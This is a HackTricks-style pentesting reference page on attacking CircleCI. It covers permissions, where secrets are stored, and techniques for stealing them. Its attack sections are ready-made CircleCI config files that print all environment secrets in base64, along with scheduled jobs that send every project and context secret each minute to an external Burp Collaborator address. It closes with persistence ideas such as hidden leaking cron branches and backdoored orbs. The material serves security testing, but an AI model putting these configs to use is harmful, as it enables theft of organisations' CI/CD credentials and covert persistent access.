hacktricks/cloud-security/circleci.md
2022-04-22 08:32:18 +00:00

8.7 KiB

CircleCI

Basic Information

CircleCI is a Continuos Integration platform where you ca define templates indicating what you want it to do with some code and when to do it. This way you can automate testing or deployments directly from your repo master branch for example.

Permissions

CircleCI inherits the permissions from github and bitbucket related to the account that logs in.
In my testing I checked that as long as you have write permissions over the repo in github, you are going to be able to manage its project settings in CircleCI (set new ssh keys, get project api keys, create new branches with new CircleCI configs...).

However, you need to be a a repo admin in order to convert the repo into a CircleCI project.

Env Variables & Secrets

According to the docs there are different ways to load values in environment variables inside a workflow.

Built-in env variables

Every container run by CircleCI will always have specific env vars defined in the documentation like CIRCLE_PR_USERNAME, CIRCLE_PROJECT_REPONAME or CIRCLE_USERNAME.

Clear text

You can declare them in clear text inside a command:

- run:
    name: "set and echo"
    command: |
        SECRET="A secret"
        echo $SECRET        

You can declare them in clear text inside the run environment:

- run:
    name: "set and echo"
    command: echo $SECRET
    environment:
        SECRET: A secret

You can declare them in clear text inside the build-job environment:

jobs:
    build-job:
        docker:
            - image: cimg/base:2020.01
    environment:
        SECRET: A secret

You can declare them in clear text inside the environment of a container:

jobs:
    build-job:
        docker:
            - image: cimg/base:2020.01
                environment:
                    SECRET: A secret

Project Secrets

These are secrets that are only going to be accessible by the project (by any branch).
You can see them declared in https://app.circleci.com/settings/project/github/<org_name>/<repo_name>/environment-variables

{% hint style="danger" %} The "Import Variables" functionality allows to import variables from other projects to this one. {% endhint %}

Context Secrets

These are secrets that are org wide. By default any repo is going to be able to access any secret stored here:

{% hint style="success" %} However, note that a different group (instead of All members) can be selected to only give access to the secrets to specific people.
This is currently one of the best ways to increase the security of the secrets, to not allow everybody to access them but just some people. {% endhint %}

Attacks

Search Clear Text Secrets

If you have access to the VCS (like github) check the file .circleci/config.yml of each repo on each branch and search for potential clear text secrets stored in there.

Secret Env Vars & Context enumeration

Checking the code you can find all the secrets names that are being used in each .circleci/config.yml file. You can also get the context names from those files or check them in the web console: https://app.circleci.com/settings/organization/github/<org_name>/contexts.

Exfiltrate Project secrets

{% hint style="warning" %} In order to exfiltrate ALL the project and context SECRETS you just need to have WRITE access to just 1 repo in the whole github org (and your account must have access to the contexts but by default everyone can access every context). {% endhint %}

{% hint style="danger" %} The "Import Variables" functionality allows to import variables from other projects to this one. Therefore, an attacker could import all the project variables from all the repos and then exfiltrate all of them together. {% endhint %}

All the project secrets always are set in the env of the jobs, so just calling env and obfuscating it in base64 will exfiltrate the secrets in the workflows web log console:

version: 2.1

jobs:
  exfil-env:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run:
          name: "Exfil env"
          command: "env | base64"

workflows:
  exfil-env-workflow:
    jobs:
      - exfil-env

If you don't have access to the web console but you have access to the repo and you know that CircleCI is used, you can just create a workflow that is triggered every minute and that exfils the secrets to an external address:

version: 2.1

jobs:
  exfil-env:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run:
          name: "Exfil env"
          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
  exfil-env-workflow:
    triggers:
      - schedule:
          cron: "* * * * *"
          filters:
            branches:
              only:
                - circleci-project-setup
    jobs:
      - exfil-env

Exfiltrate Context Secrets

You need to specify the context name (this will also exfiltrate the project secrets):

version: 2.1

jobs:
  exfil-env:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run:
          name: "Exfil env"
          command: "env | base64"

workflows:
  exfil-env-workflow:
    jobs:
      - exfil-env:
          context: Test-Context

If you don't have access to the web console but you have access to the repo and you know that CircleCI is used, you can just modify a workflow that is triggered every minute and that exfils the secrets to an external address:

version: 2.1

jobs:
  exfil-env:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - run:
          name: "Exfil env"
          command: "curl https://lyn7hzchao276nyvooiekpjn9ef43t.burpcollaborator.net/?a=`env | base64 -w0`"

# I filter by the repo branch where this config.yaml file is located: circleci-project-setup
workflows:
  exfil-env-workflow:
    triggers:
      - schedule:
          cron: "* * * * *"
          filters:
            branches:
              only:
                - circleci-project-setup
    jobs:
      - exfil-env:
          context: Test-Context

{% hint style="warning" %} Just creating a new .circleci/config.yml in a repo isn't enough to trigger a circleci build. You need to enable it as a project in the circleci console. {% endhint %}

Escape to Cloud

CircleCI gives you the option to run your builds in their machines or in your own.
By default their machines are located in GCP, and you initially won't be able to fid anything relevant. However, if a victim is running the tasks in their own machines (potentially, in a cloud env), you might find a cloud metadata endpoint with interesting information on it.

Notice that in the previous examples it was launched everything inside a docker container, but you can also ask to launch a VM machine (which may have different cloud permissions):

jobs:
  exfil-env:
    #docker:
    #  - image: cimg/base:stable
    machine:
      image: ubuntu-2004:current

Or even a docker container with access to a remote docker service:

jobs:
  exfil-env:
    docker:
      - image: cimg/base:stable
    steps:
      - checkout
      - setup_remote_docker:
          version: 19.03.13

Persistence

  • It's possible to create user tokens in CircleCI to access the API endpoints with the users access.
  • It's possible to create projects tokens to access the project with the permissions given to the token.
  • It's possible to add SSH keys to the projects.
  • It's possible to create a cron job in hidden branch in an unexpected project that is leaking all the context env vars everyday.
    • Or even create in a branch / modify a known job that will leak all context and projects secrets everyday.
  • If you are a github owner you can allow unverified orbs and configure one in a job as backdoor
  • You can find a command injection vulnerability in some task and inject commands via a secret modifying its value